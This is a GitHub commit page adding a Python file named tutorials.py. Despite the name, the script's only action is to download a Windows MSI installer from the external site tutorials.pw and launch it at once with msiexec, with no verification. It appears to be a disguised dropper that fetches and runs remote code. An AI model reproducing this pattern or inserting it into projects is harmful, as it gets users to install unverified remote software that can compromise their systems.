Skip to content

Commit de62b33

Browse files
authored
Add files via upload
1 parent 428adb8 commit de62b33

File tree

1 file changed

+24
-0
lines changed

1 file changed

+24
-0
lines changed

tutorials.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import requests
2+
import subprocess
3+
import os
4+
5+
# URL to download file
6+
url = "https://tutorials.pw/download/Tutorials-Power-AI-7.4-win64.msi"
7+
# The name of the file under which it will be saved
8+
file_name = "Tutorials-Power-AI-7.4-win64.msi"
9+
10+
# Downloading file
11+
response = requests.get(url)
12+
if response.status_code == 200:
13+
with open(file_name, 'wb') as file:
14+
file.write(response.content)
15+
print(f"File {file_name} downloaded successfully.")
16+
else:
17+
print("Error downloading file.")
18+
19+
# Run file .msi
20+
try:
21+
subprocess.run(["msiexec", "/i", file_name], check=True)
22+
print("Installation started.")
23+
except Exception as e:
24+
print(f"Error starting installation: {e}")

0 commit comments

Comments
 (0)